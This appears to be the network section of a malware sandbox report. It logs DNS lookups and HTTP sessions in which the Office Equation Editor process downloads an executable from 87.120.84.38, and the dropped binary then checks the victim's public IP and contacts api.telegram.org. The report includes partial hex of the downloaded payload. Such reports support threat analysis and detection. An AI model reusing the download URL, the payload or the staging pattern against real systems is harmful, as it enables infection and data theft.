Oct 30, 2024 08:14:37.650641918 CET	8.8.8.8	192.168.2.22	0x6d95	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.442672014 CET	8.8.8.8	192.168.2.22	0xd357	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:38.442672014 CET	8.8.8.8	192.168.2.22	0xd357	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.442672014 CET	8.8.8.8	192.168.2.22	0xd357	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.442672014 CET	8.8.8.8	192.168.2.22	0xd357	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.442672014 CET	8.8.8.8	192.168.2.22	0xd357	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.442672014 CET	8.8.8.8	192.168.2.22	0xd357	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.452097893 CET	8.8.8.8	192.168.2.22	0xf50e	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:38.452097893 CET	8.8.8.8	192.168.2.22	0xf50e	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.452097893 CET	8.8.8.8	192.168.2.22	0xf50e	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.452097893 CET	8.8.8.8	192.168.2.22	0xf50e	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.452097893 CET	8.8.8.8	192.168.2.22	0xf50e	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:38.452097893 CET	8.8.8.8	192.168.2.22	0xf50e	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:39.340241909 CET	8.8.8.8	192.168.2.22	0xaf99	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:39.340241909 CET	8.8.8.8	192.168.2.22	0xaf99	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.137716055 CET	8.8.8.8	192.168.2.22	0xb1fb	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:40.137716055 CET	8.8.8.8	192.168.2.22	0xb1fb	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.137716055 CET	8.8.8.8	192.168.2.22	0xb1fb	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.137716055 CET	8.8.8.8	192.168.2.22	0xb1fb	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.137716055 CET	8.8.8.8	192.168.2.22	0xb1fb	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.137716055 CET	8.8.8.8	192.168.2.22	0xb1fb	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.147984028 CET	8.8.8.8	192.168.2.22	0xd5a2	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:40.147984028 CET	8.8.8.8	192.168.2.22	0xd5a2	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.147984028 CET	8.8.8.8	192.168.2.22	0xd5a2	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.147984028 CET	8.8.8.8	192.168.2.22	0xd5a2	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.147984028 CET	8.8.8.8	192.168.2.22	0xd5a2	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:40.147984028 CET	8.8.8.8	192.168.2.22	0xd5a2	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:41.056991100 CET	8.8.8.8	192.168.2.22	0xfc34	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:41.056991100 CET	8.8.8.8	192.168.2.22	0xfc34	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.787427902 CET	8.8.8.8	192.168.2.22	0x4a07	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:42.787427902 CET	8.8.8.8	192.168.2.22	0x4a07	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.787427902 CET	8.8.8.8	192.168.2.22	0x4a07	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.787427902 CET	8.8.8.8	192.168.2.22	0x4a07	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.787427902 CET	8.8.8.8	192.168.2.22	0x4a07	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.787427902 CET	8.8.8.8	192.168.2.22	0x4a07	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.796737909 CET	8.8.8.8	192.168.2.22	0x7003	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:14:42.796737909 CET	8.8.8.8	192.168.2.22	0x7003	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.796737909 CET	8.8.8.8	192.168.2.22	0x7003	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.796737909 CET	8.8.8.8	192.168.2.22	0x7003	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.796737909 CET	8.8.8.8	192.168.2.22	0x7003	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:42.796737909 CET	8.8.8.8	192.168.2.22	0x7003	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:43.744806051 CET	8.8.8.8	192.168.2.22	0xcf3	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:43.744806051 CET	8.8.8.8	192.168.2.22	0xcf3	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:14:44.524665117 CET	8.8.8.8	192.168.2.22	0xa02e	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

87.120.84.38

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49165	87.120.84.38	80	3308	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:14:17.704850912 CET	322	OUT	GET /txt/CLLPdgxhnmwGf5Y.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 87.120.84.38 Connection: Keep-Alive
Oct 30, 2024 08:14:18.649243116 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Wed, 30 Oct 2024 07:14:18 GMT Content-Type: application/x-msdos-program Content-Length: 756736 Connection: keep-alive Last-Modified: Wed, 30 Oct 2024 02:10:57 GMT ETag: "b8c00-625a8366620d3" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ec 94 21 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 70 0b 00 00 1a 00 00 00 00 00 00 a2 8f 0b 00 00 20 00 00 00 a0 0b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 8f 0b 00 4f 00 00 00 00 a0 0b 00 20 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL!g0p @ @PO H.texto p `.rsrc r@@.reloc@BHqg0((+0((+0((+0((+0((+0((+0((+0((+0((+0(( +0
Oct 30, 2024 08:14:18.649269104 CET	1236	IN	Data Raw: 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 04 05 0e 04 0e 05 28 21 00 00 0a 0a 2b 00 06 2a 00 13 30 07 00 21 00 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 04 05 0e 04 0e 05 0e 06 28 22 00 00 0a 0a 2b 00 06 Data Ascii: ((!+0!(("+vs~#0J~~#($,rps%z~,~~#(&(0},~(+a
Oct 30, 2024 08:14:18.649280071 CET	1236	IN	Data Raw: 00 0a 6f 4b 00 00 0a 00 02 7b 06 00 00 04 28 01 00 00 2b 02 fe 06 2e 00 00 06 73 4d 00 00 0a 6f 4e 00 00 0a 00 02 7b 14 00 00 04 03 6f 39 00 00 0a 00 02 7b 11 00 00 04 17 6f 48 00 00 0a 00 2a 00 00 13 30 03 00 48 00 00 00 08 00 00 11 00 02 7b 15 Data Ascii: oK{(+.sMoN{o9{oH0H{oOoP,-{oOoQoRoSoT}+0P{oJoU{oJ(+~p%-&~osW%p(+(+oZ
Oct 30, 2024 08:14:18.649430037 CET	1236	IN	Data Raw: 00 00 0a 72 b5 01 00 70 6f 6d 00 00 0a 6f 6e 00 00 0a 28 62 00 00 0a 13 08 11 08 39 9c 00 00 00 00 11 06 6f 6c 00 00 0a 72 b5 01 00 70 6f 6d 00 00 0a 6f 6e 00 00 0a 13 09 11 06 6f 6c 00 00 0a 72 bf 01 00 70 6f 6d 00 00 0a 6f 6e 00 00 0a 13 0a 72 Data Ascii: rpomon(b9olrpomonolrpomonrpso`%rQp%%rWp%%r]p(eolrpomopoqor%/os:u4,ot+*
Oct 30, 2024 08:14:18.649441004 CET	1236	IN	Data Raw: 00 02 7b 0d 00 00 04 1e 1e 1e 1e 73 83 00 00 0a 6f 84 00 00 0a 00 02 7b 0d 00 00 04 72 e9 02 00 70 6f 85 00 00 0a 00 02 7b 0d 00 00 04 1f 6d 1f 24 73 86 00 00 0a 6f 87 00 00 0a 00 02 7b 0d 00 00 04 1b 6f 88 00 00 0a 00 02 7b 0d 00 00 04 72 fd 02 Data Ascii: {so{rpo{m$so{o{rpo9{o{o{+so{ Os/o{so{rpo{ "so{o
Oct 30, 2024 08:14:18.649451017 CET	1236	IN	Data Raw: 20 14 04 00 00 73 2f 00 00 0a 6f 82 00 00 0a 00 02 7b 16 00 00 04 1e 1e 1e 1e 73 83 00 00 0a 6f 84 00 00 0a 00 02 7b 16 00 00 04 17 6f 9c 00 00 0a 00 02 7b 16 00 00 04 72 ed 03 00 70 6f 85 00 00 0a 00 02 7b 16 00 00 04 19 6f 9d 00 00 0a 00 02 7b Data Ascii: s/o{so{o{rpo{o{ w so{o{o{'so{o{M s/o{so{rpo{c
Oct 30, 2024 08:14:18.649461031 CET	1236	IN	Data Raw: 02 28 a6 00 00 0a 02 7b 11 00 00 04 6f a7 00 00 0a 00 02 28 a6 00 00 0a 02 7b 10 00 00 04 6f a7 00 00 0a 00 02 28 a6 00 00 0a 02 7b 0f 00 00 04 6f a7 00 00 0a 00 02 28 a6 00 00 0a 02 7b 0e 00 00 04 6f a7 00 00 0a 00 02 28 a6 00 00 0a 02 7b 0d 00 Data Ascii: ({o({o({o({o({o({o({o({o({o(rpot(s(rp(rpo9 s
Oct 30, 2024 08:14:18.649631023 CET	1236	IN	Data Raw: 02 73 7b 00 00 0a 7d 22 00 00 04 02 73 80 00 00 0a 7d 23 00 00 04 02 73 7a 00 00 0a 7d 24 00 00 04 02 7b 1f 00 00 04 6f 81 00 00 0a 00 02 7b 20 00 00 04 6f c8 00 00 0a 00 02 28 81 00 00 0a 00 02 7b 1f 00 00 04 18 6f c9 00 00 0a 00 02 7b 1f 00 00 Data Ascii: s{}"s}#sz}${o{ o({o{o"Bso&{o"Bso&{o{ o{o{!o{o{"o{o{#o{o
Oct 30, 2024 08:14:18.649679899 CET	1236	IN	Data Raw: 00 04 1f 0a 6f dc 00 00 0a 00 02 7b 24 00 00 04 18 6f dd 00 00 0a 00 02 7b 24 00 00 04 20 74 02 00 00 20 cb 02 00 00 73 2f 00 00 0a 6f 82 00 00 0a 00 02 7b 24 00 00 04 1e 1d 1e 1d 73 83 00 00 0a 6f 84 00 00 0a 00 02 7b 24 00 00 04 72 27 06 00 70 Data Ascii: o{$o{$ t s/o{$so{$r'po{$ 7so{$o{$r9po9{$("A"As(( t 3s(({o(rpo
Oct 30, 2024 08:14:18.649691105 CET	1236	IN	Data Raw: 00 11 00 02 7b 2b 00 00 04 0a 2b 00 06 2a 13 30 01 00 0c 00 00 00 13 00 00 11 00 02 7b 2d 00 00 04 0a 2b 00 06 2a 13 30 01 00 0c 00 00 00 13 00 00 11 00 02 7b 2e 00 00 04 0a 2b 00 06 2a 13 30 01 00 0c 00 00 00 13 00 00 11 00 02 7b 2f 00 00 04 0a Data Ascii: {++0{-+0{.+0{/+0{0+0{1+0{2+0{3+0F(4}4}5}6}7}8}
Oct 30, 2024 08:14:18.654733896 CET	1236	IN	Data Raw: 0a 13 0b 09 6f 02 01 00 0a 16 6f 03 01 00 0a 18 6f 04 01 00 0a 6f 3f 00 00 0a 13 0c 09 6f 02 01 00 0a 16 6f 03 01 00 0a 19 6f 04 01 00 0a 6f 3f 00 00 0a 13 0d 09 6f 02 01 00 0a 16 6f 03 01 00 0a 1a 6f 04 01 00 0a 6f 3f 00 00 0a 13 0e 09 6f 02 01 Data Ascii: oooo?oooo?oooo?oooo?oooo?oooo?oooo?oooo?oooo?ooo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49166	158.101.44.242	80	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:14:25.751063108 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 08:14:26.415436029 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:26 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9cf04fbbd23d22be0088016088f1a817 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 08:14:26.626916885 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:26 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9cf04fbbd23d22be0088016088f1a817 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 08:14:28.439865112 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 30, 2024 08:14:28.594269991 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:28 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7b8fcdf319260874714b720069a8335e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 08:14:28.806952953 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:28 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7b8fcdf319260874714b720069a8335e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 08:14:29.624443054 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 30, 2024 08:14:29.779253006 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:29 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a4a9de5aff68a7ce983d6899eb7ac35b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49169	193.122.6.168	80	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:14:31.535645008 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 30, 2024 08:14:32.377108097 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:32 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4a2f505ff613db7d153c6be58078f8a4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 08:14:32.590984106 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:32 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4a2f505ff613db7d153c6be58078f8a4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49171	193.122.6.168	80	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:14:33.209093094 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 30, 2024 08:14:34.056884050 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:33 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 07ba76abce748b1fa19e310865c76855 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 08:14:34.270807981 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:33 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 07ba76abce748b1fa19e310865c76855 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49173	132.226.247.73	80	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:14:34.921821117 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 08:14:35.790563107 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:35 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 962a469f6c3987094932bc995566fe76 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
Oct 30, 2024 08:14:35.998841047 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:35 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 962a469f6c3987094932bc995566fe76 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49175	193.122.6.168	80	3576	C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:14:36.781786919 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 30, 2024 08:14:37.633635044 CET	323	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:14:37 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 303b289934e8ebc63392404bc6047667 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.78</body></html>
